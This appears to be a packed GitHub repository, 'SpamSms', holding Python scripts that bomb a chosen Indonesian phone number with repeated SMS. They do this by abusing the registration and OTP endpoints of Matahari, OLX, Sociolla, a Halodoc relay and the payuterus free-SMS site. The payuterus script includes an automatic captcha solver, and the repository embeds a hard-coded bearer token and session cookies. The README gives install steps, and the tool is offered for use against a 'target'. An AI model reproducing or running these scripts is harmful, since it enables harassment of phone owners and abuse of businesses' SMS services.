Repository: sinoobie/SpamSms Branch: master Commit: ed369ebd2cda Files: 8 Total size: 10.0 KB Directory structure: gitextract_z4zxmgp5/ ├── LICENSE ├── README.md ├── main.py └── src/ ├── alodok.py ├── matahari.py ├── olx.py ├── payu.py └── socil.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2019 NOOBIE Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ # SpamSms Spam sms (NEW UPDATE) # How To Use > PYTHON 3.X ``` apt update && pkg upgrade apt install python apt install git git clone https://github.com/KANG-NEWBIE/SpamSms pip install requests mechanize bs4 cd SpamSms python main.py ``` ================================================ FILE: main.py ================================================ import os,time,sys,shutil class Main: def __init__(self): self.detekos() def menu(self): print(""" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; S P A M S M S ; ;---------------------------; ; Author : noobie ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; NOTE: This tool's only work for Indonesia number phone. 1. SMS Gratis 2. OTP Matahari 3. OTP Hallodok 4. OTP Olx.co.id 5. OTP Sociolla.com """) pilih=int(input('noobie/> ')) if pilih == 1: import src.payu elif pilih == 2: import src.matahari elif pilih == 3: import src.alodok elif pilih == 4: import src.olx elif pilih == 5: import src.socil else: print("[!] lihat menu dong(o)");self.menu() def detekos(self): #remove cache try: shutil.rmtree("src/__pycache__") except: pass if os.name in ['nt','win32']: os.system('cls') else: os.system('clear') self.menu() try: Main() except KeyboardInterrupt: exit('[Exit] Key interrupt') except Exception as F: print('Err: %s'%(F)) ================================================ FILE: src/alodok.py ================================================ import requests, time print(""" [ HALLODOK OTP ] -noobie- """) num=input("[In] Nomor: ") jum=int(input("[In] Jumlah: ")) print("\n[RESULT]") for x in range(jum): try: req=requests.post("https://nuubi.herokuapp.com/api/spam/alodok", data={"number":num}) if req.json()['status'] == 'ok': print(f"{x+1}. Berhasil {num}") else: print(f"{x+1}. Gagal {num}") except Exception as e: print(f"{x+1}. Pass: {e}") ================================================ FILE: src/matahari.py ================================================ import requests,time print(""" [ MATAHARI MALL OTP ] -Asecx | noobie- """) no = input('ex : 08xx\n[In] Phone: ') jml = int(input('[In] Jumlah: ')) heder = {'Host': 'thor.matahari.com', 'content-length': '230', 'modulecode': 'MR', 'origin': 'https://www.matahari.com', 'authorization': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJtb2R1bGVDb2RlIjoiTVIiLCJ1c2VyVHlwZSI6IjEiLCJleHAiOjE1NDM2NjA5MDYsInVzZXJOYW1lIjoiS0Zpb2ViMWhveU9FRDBERWQiLCJ1c2VySWQiOiJwcm9kdWN0aW9uNDYxOTAyNjQ0NSIsImp0aSI6IjFmMjI3NzE5LTY4OTMtNDhjYy1iNmQzLWY2OTkzMWMzMDIwYSIsImlhdCI6MTU0MzY1NzMwNn0.6XdrUX9QzD0Ld2eOJep7QnSwVjfFyjq-v7P4w0lGG9M', 'content-type': 'application/json', 'accept': 'application/json, text/plain, */*', 'clientid': 'mds_mweb', 'user-agent': 'Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile Safari/537.36', 'sessionid': '1595084426451', 'save-data': 'on', 'referer': 'https://www.matahari.com/register', 'accept-encoding': 'gzip, deflate, br', 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,ms;q=0.6'} data = {'emailAddress': 'noobie@mail.com', 'firstName': 'Noobie', 'lastName': 'Gans', 'mobileNumber': no, 'mccCardNumber': '', 'password': 'asecc123', 'referralCode': '', 'dateOfBirth': '09-05-1993', 'gender': 'Male', 'registrationType': 'N'} print("\n[RESULT]") for i in range(jml): sec = requests.post('https://thor.matahari.com/MatahariMobileAPI/register', headers=heder, json=data) if 'eror' in sec.text: print(f'{i+1}. Gagal {no}') else: print(f'{i+1}. Berhasil {no}') time.sleep(1.5) ================================================ FILE: src/olx.py ================================================ import requests, time print(""" [ olx.co.id OTP ] - noobie - """) num=input("[In] Number: ") jum=int(input("[In] Jumlah: ")) if num[0] == "0": num=num[1:] elif num[0:2] == "62": num=num[2:] print("\n[RESULT]") for x in range(jum): req=requests.post("https://www.olx.co.id/api/auth/authenticate", json={"grantType":"phone","phone":f"+62{num}","language":"id"}).json() if req['status'] == 'PENDING': print(f"{x+1}. Berhasil {num}") else: print(f"{x+1}. Gagal {num}") time.sleep(1.5) ================================================ FILE: src/payu.py ================================================ import mechanize,time,os from bs4 import BeautifulSoup as BS class Payu: def __init__(self): #install browser self.br = mechanize.Browser() self.br.set_handle_equiv(True) self.br.set_handle_gzip(True) self.br.set_handle_redirect(True) self.br.set_handle_referer(True) self.br.set_handle_robots(False) self.br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) self.br.addheaders =[('Connection','keep-alive'), ('Pragma','no-cache'), ('Cache-Control','no-cache'), ('Origin','http://sms.payuterus.biz'), ('Upgrade-Insecure-Requests','1'), ('Content-Type','application/x-www-form-urlencoded'), ('User-Agent','Opera/9.80 (Android; Opera Mini/8.0.1807/36.1609; U; en) Presto/2.12.423 Version/12.16'), ('Accept','text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3'), ('Referer','http://sms.payuterus.biz/alpha/'), ('Accept-Encoding','gzip, deflate'), ('Accept-Language','id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'), ('Cookie','_ga=GA1.2.131924726.1560439960; PHPSESSID=jjrqqaakmfcgfgbtjt8tve5595; _gid=GA1.2.1969561921.1561024035; _gat=1') ] self.u='http://sms.payuterus.biz/alpha/' self.banner() def banner(self): # os.system('clear') print(""" ;;;;;;;;;;;;;;;;;;;;;;;; ; SMS Gratis PayuTerus ; ; - noobie - ; ;;;;;;;;;;;;;;;;;;;;;;;; """) no=input('[?] Nomor Target: ') psn=input('[info] ketik "\\n" untuk garis baru pada pesan\n[?] Pesan: ') self.main(no,psn) def main(self,no,msg): o=[] bs=BS(self.br.open(self.u),features="html.parser") for x in bs.find_all("span"): o.append(x.text) capt=int(str(o)[2])+int(str(o)[6]) self.br.select_form(nr=0) self.br.form['nohp']=no self.br.form['pesan']=msg self.br.form['captcha']=str(capt) sub=self.br.submit().read() if 'SMS Gratis Telah Dikirim' in str(sub): print('[+] Sukses mengirim sms ke',no) elif 'Mohon Tunggu' in str(sub): print('[!] Tunggu beberapa saat untuk mengirim sms yang sama') else: print('[-] Gagal mengirim sms ke',no) try: Payu() while True: plh=input("\n[?] coba lagi (y/n) ") if plh.lower() == 'y': Payu() elif plh.lower() == 'n': exit('sampai jumpa lagi...') except KeyboardInterrupt: print('\nErr: KeyboardInterrupt') except Exception as E: print(f'Err: {E}') ================================================ FILE: src/socil.py ================================================ import requests, time from random import randrange as rg print(""" [ SOCIOLLA OTP ] - noobie - """) num=input("[In] Number: ") jum=int(input("[In] Jumlah: ")) if num[0] == "0": num=num[1:] elif num[0:2] == "62": num=num[2:] headreg={ "Host": "soco-api.sociolla.com", "Connection": "keep-alive", "Sec-Fetch-Mode": "cors", "Origin": "https://www.sociolla.com", "User-Agent": "Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.116 Mobile Safari/537.36 EdgA/45.06.4.5042", "Content-Type": "application/json;charset\u003dUTF-8", "Accept": "application/json, text/plain, */*", "session_id": "c970c955-79d1-45fd-840c-9082650a7a89", "SOC-PLATFORM": "sociolla-web-mobile", "Sec-Fetch-Site": "same-site", "Referer": "https://www.sociolla.com/", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "id-ID,id;q\u003d0.9,en-US;q\u003d0.8,en;q\u003d0.7", } ses=requests.Session() reg=ses.post("https://soco-api.sociolla.com/auth/register", json={"acquisition_source":"sociolla-web-mobile", "email":f"noobie{rg(9999)}@mail.com", "user_name":f"noobiegans{rg(9999)}", "password":f"noobie{rg(9999)}", "first_name":f"Noobie{rg(999)}", "last_name":f"Gans{rg(999)}", "gender":"Male", "salute":"Mr", "phone_no":num}, headers=headreg) token=reg.json()['data']['token'] headotp={ "Host": "soco-api.sociolla.com", "Connection": "keep-alive", "Sec-Fetch-Mode": "cors", "Origin": "https://www.sociolla.com", "Authorization": f"Bearer {token}", "Content-Type": "application/json;charset\u003dUTF-8", "Accept": "application/json, text/plain, */*", "session_id": "c970c955-79d1-45fd-840c-9082650a7a89", "SOC-PLATFORM": "sociolla-web-mobile", "User-Agent": "Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.116 Mobile Safari/537.36 EdgA/45.06.4.5042", "Sec-Fetch-Site": "same-site", "Referer": "https://www.sociolla.com/", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "id-ID,id;q\u003d0.9,en-US;q\u003d0.8,en;q\u003d0.7", } print("\n[RESULT]") for x in range(jum): rotp=ses.post("https://soco-api.sociolla.com/auth/otp/code", json={"mode":"sms","entity":"phone_no"}, headers=headotp).json() # print(rotp) if rotp["success"] == True: print(f"{x+1}. Berhasil {num}") for i in range(31): print(end=f"\r>> Sleep {30-i}s <<", flush=True) time.sleep(1) print() else: print(f"{x+1}. Gagal {num}") for i in range(31): print(end=f"\r>> Sleep {30-i}s <<", flush=True) time.sleep(1) print()